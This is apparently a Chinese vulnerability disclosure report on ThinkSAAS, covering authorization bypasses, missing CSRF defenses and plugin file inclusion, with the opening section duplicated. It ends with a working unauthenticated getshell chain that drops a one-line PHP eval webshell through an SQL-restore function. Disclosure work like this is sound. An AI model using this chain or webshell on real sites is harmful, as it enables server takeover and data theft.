### 简要描述: ThinkSAAS的SQL注入差不多了,剩下的就是很多越权,很多CSRF,还有几处包含漏洞了。 ### 详细说明: ThinkSAAS的SQL注入差不多了,剩下的就是很多越权,很多CSRF,还有几处包含漏洞了,也一起发了吧,求给力哦,来个大厂商吧! 第一处越权: Thinksaas在编辑文章内容时,没有判断此文章的发表用户,造成任意用户可修改任意用户文章内容。 来看看编辑文章的代码,/app/article/action/edit.php ``` case "do" : $articleid = intval ( $_POST ['articleid'] ); $cateid = intval ( $_POST ['cateid'] ); $title = tsClean ( $_POST ['title'] ); $content = tsClean ( $_POST ['content'] ); if ($TS_USER ['user'] ['isadmin'] == 0) { // 过滤内容开始 aac ( 'system' )->antiWord ( $title ); aac ( 'system' )->antiWord ( $content ); // 过滤内容结束 } if ($title == '' || $content == '') qiMsg ( "标题和内容都不能为空!" ); $new ['article']->update ( 'article', array ( 'articleid' => $articleid ) , array ( 'cateid' => $cateid, 'title' => $title, 'content' => $content ) ); ``` 这里没有判断此文章的用户属性,只要用户登录,就能修改articleid和cateid下的任意文章内容。 漏洞证明: [<img src="https://images.seebug.org/upload/201402/25103608ddc2549973878ab337b2bc57386b0d69.png" alt="2.png" width="600"...
### 简要描述: ThinkSAAS的SQL注入差不多了,剩下的就是很多越权,很多CSRF,还有几处包含漏洞了。 ### 详细说明: ThinkSAAS的SQL注入差不多了,剩下的就是很多越权,很多CSRF,还有几处包含漏洞了,也一起发了吧,求给力哦,来个大厂商吧! 第一处越权: Thinksaas在编辑文章内容时,没有判断此文章的发表用户,造成任意用户可修改任意用户文章内容。 来看看编辑文章的代码,/app/article/action/edit.php ``` case "do" : $articleid = intval ( $_POST ['articleid'] ); $cateid = intval ( $_POST ['cateid'] ); $title = tsClean ( $_POST ['title'] ); $content = tsClean ( $_POST ['content'] ); if ($TS_USER ['user'] ['isadmin'] == 0) { // 过滤内容开始 aac ( 'system' )->antiWord ( $title ); aac ( 'system' )->antiWord ( $content ); // 过滤内容结束 } if ($title == '' || $content == '') qiMsg ( "标题和内容都不能为空!" ); $new ['article']->update ( 'article', array ( 'articleid' => $articleid ) , array ( 'cateid' => $cateid, 'title' => $title, 'content' => $content ) ); ``` 这里没有判断此文章的用户属性,只要用户登录,就能修改articleid和cateid下的任意文章内容。 漏洞证明: [<img src="https://images.seebug.org/upload/201402/25103608ddc2549973878ab337b2bc57386b0d69.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/25103608ddc2549973878ab337b2bc57386b0d69.png) 用户111111发表的文章被222222用户修改了。 第二处越权: ThinkSAAS在修改用户相册属性,以及修改相册中图片信息时存在越权操作,可修改任意用户相册以及图片信息。 app/photo/action/album.php ``` case "edit_do": if($_POST['token'] != $_SESSION['token']) { tsNotice('非法操作!'); } //用户是否登录 $userid = aac('user')->isLogin(); $albumid = intval($_POST['albumid']); $albumname = t($_POST['albumname']); if($albumname == '') qiMsg("相册名称不能为空!"); $albumdesc = t($_POST['albumdesc']); if($TS_USER['user']['isadmin']==0){ //过滤内容开始 aac('system')->antiWord($albumname); aac('system')->antiWord($albumdesc); //过滤内容结束 } $new['photo']->update('photo_album',array( 'userid'=>$userid, 'albumid'=>$albumid, ),array( 'albumname'=>$albumname, 'albumdesc'=>$albumdesc, )); header("Location: ".tsUrl('photo','album',array('id'=>$albumid))); break; ``` 漏洞证明: 从代码中看出,这里没有判断相册的用户属性,导致用户可修改任意相册信息。 我们先账户111111建立一个相册: [<img src="https://images.seebug.org/upload/201402/25104800178aafa95400333fb6a31e561abdec44.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/25104800178aafa95400333fb6a31e561abdec44.png) 然后我们换一个用户222222,构造如下请求: [<img src="https://images.seebug.org/upload/201402/2510481097a594810ca81c51e1f2d54d21a94795.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/2510481097a594810ca81c51e1f2d54d21a94795.png) 这里的albumid就是相册的ID,修改这个ID,就能修改对应的相册信息。 此时111111用户的相册信息已被修改如下: [<img src="https://images.seebug.org/upload/201402/25104827011dbba5944e9daedc3a6358940b3d96.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/25104827011dbba5944e9daedc3a6358940b3d96.png) 第三处越权: 在编辑小组基本信息时,没有判断此小组的创建用户属性,导致只通过小组id,groupid即可修改该小组的基本信息,导致越权修改他人创建的小组基本信息。 /app/group/action/do.php ``` //编辑小组基本信息 case "edit_base": $groupname = t($_POST['groupname']); $groupdesc = tsClean($_POST['groupdesc']); if($groupname=='' || $groupdesc=='') tsNotice("小组名称和介绍都不能为空!"); //过滤内容开始 aac('system')->antiWord($groupname); aac('system')->antiWord($groupdesc); //过滤内容结束 $isgroupname = $new['group']->findCount('group',array( 'groupname'=>$groupname, )); $groupid = intval($_POST['groupid']); $strGroup = $new['group']->find('group',array( 'groupid'=>$groupid, )); if($isgroupname > 0 && $strGroup['groupname']!=$groupname) tsNotice('小组名称已经存在!'); $new['group']->update('group',array( 'groupid'=>$groupid, ),array( 'groupname'=> trim($_POST['groupname']), 'groupdesc'=> trim($_POST['groupdesc']), 'joinway'=> intval($_POST['joinway']), 'ispost'=> intval($_POST['ispost']), 'isopen'=> intval($_POST['isopen']), 'ispostaudit'=> intval($_POST['ispostaudit']), )); tsNotice('基本信息修改成功!'); break; ``` 第四处越权: 在小组中的帖子操作中,编辑帖子类型时存在越权: /app/group/action/do.php: ``` //编辑帖子类型 case "edit_type": $typeid = intval($_POST['id']); $typename = t($_POST['value']); if(empty($typename)){ echo '帖子类型不能为空,请点击继续编辑'; }else{ $db->query("update ".dbprefix."group_topic_type set `typename`='$typename' where typeid='$typeid'"); echo $typename; } break; ``` 没有判断此帖子类型所属用户属性,导致可以编辑任意用户所属的帖子类型。 第五处越权: 在小组中的帖子操作中,删除帖子类型时存在越权: /app/group/action/do.php: ``` //删除帖子类型 case "del_type": $typeid = intval($_POST['typeid']); $db->query("delete from ".dbprefix."group_topic_type where typeid='$typeid'"); $db->query("update ".dbprefix."group_topic set typeid='0' where typeid='$typeid'"); echo '0'; break; ``` 同样也没有判断帖子类型所属用户,导致删除任意用户帖子类型。 漏洞证明: 1、确定用户111111创建的小组111111的小组类型 2、然后用户222222登陆,界面上没有编辑小组111111信息的功能及权利,但我们构造编辑小组分类的请求。 3、然后发送修改小组111111帖子类型的构造请求。 4、最后,111111用户登陆查看自己的小组111111帖子类型被成功修改。 在编辑小组基本信息,删除帖子类型是也可用以上方法测试。 至于CSRF漏洞: 1、在前台有些地方有token,但是有些地方还是没有加token,防御不完善。 2、虽然加了token,但是整个站的token好像是一样的,这个token应该动态处理吧。 3、前台的CSRF就不说了。后台完全没有CSRF防御,像这样构造CSRF请求就可以操作后台的一切操作,拿shell,拖库,修改网站数据,添加管理员等等操作。 具体案例见: [WooYun: ThinkSAAS某功能设计不当可能导致可以csrf后台GETSHELL](http://www.wooyun.org/bugs/wooyun-2013-045531) [WooYun: ThinkSAAS某处CSRF导致直接GETSHELL](http://www.wooyun.org/bugs/wooyun-2013-046791) [WooYun: Thinksaas CSRF导致任意文件删除](http://www.wooyun.org/bugs/wooyun-2014-051755) 第一处包含漏洞: /app/group/action/plugin.php ``` <?php //插件条件入口 defined('IN_TS') or die('Access Denied.'); if(is_file('plugins/'.$app.'/'.$plugin.'/'.$in.'.php')){ require_once('plugins/'.$app.'/'.$plugin.'/'.$in.'.php'); }else{ qiMsg('sorry:no plugin!'); } ``` 这里没有判断是否登录,而且$app,$plugin,$in参数没有限制目录,导致文件包含。 那么我们只要找一个任意存在的文件就能执行该任意文件了。 第二处包含漏洞: /app/home/action/plugin.php 第三处包含漏洞: /app/pubs/action/plugin.php 第四处包含漏洞: /app/user/action/plugin.php 包含原理通第一处。 漏洞证明: 我们通过上面的包含漏洞可以包含到后台的文件,执行后台的全部功能。 这里我们包含后台如下文件: /app/system/action/sql.php ``` <?php defined('IN_TS') or die('Access Denied.'); switch($ts){ case "": //输出备份文件 $arrSqlFile = tsScanDir('data/baksql','file'); include template('sql'); break; //优化 ...... //恢复导入 case "import": $sql = tsFilter($_GET['sql']); require_once 'thinksaas/DbManage.php'; $bakdb = new DBManage ( $TS_DB['host'].':'.$TS_DB['port'], $TS_DB['user'], $TS_DB['pwd'], $TS_DB['name'], 'utf8' ); $bakdb->restore ('data/baksql/'.$sql); qiMsg('数据库恢复成功!如果有其他卷文件请一同恢复'); break; ``` 那么我们通过上面的包含就可以包含到此文件执行了。 再来看看这里的restore()函数,直接将$sql参数加到了需要回复的数据库文件后面,而且restore()函数并没有判断此文件的格式等有效性,直接打开文件,执行里面的内容,因为默认这是一个sql数据库文件,所以导致目录遍历漏洞。 这样就可以回复任意文件了,只要此文件中是合法的sql语句就行。 那我们在前台上传一个图片,图片内容为: ``` Drop TABLE IF EXISTS temp; Create TABLE temp(cmd text NOT NULL); Insert INTO temp (cmd) VALUES("<?php @eval($_POST['cmd']);?>"); Select cmd from temp into outfile 'F:/thinksaas/eval.php'; Drop TABLE IF EXISTS temp; ``` 在sql参数处,把sql文件内容替换为我们自己上传的文件即可。 上传后的路径我们可以知道,上传后的文件名是按照1,2,3...这样的顺序命名的,所以上传后的文件路径,文件名都可以得到。这样就可以在非登录下直接拿到shell。 [<img src="https://images.seebug.org/upload/201402/251128342eb198179ae09d851e9d5704319466cd.png" alt="getshell.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/251128342eb198179ae09d851e9d5704319466cd.png) 可能还有其他地方存在其他的很多漏洞,先发现,提交这么多,后面再继续挖掘。 希望厂商能把前面的那些SQL注入和这些漏洞修复了,做的更安全的产品! ### 漏洞证明: 见详细说明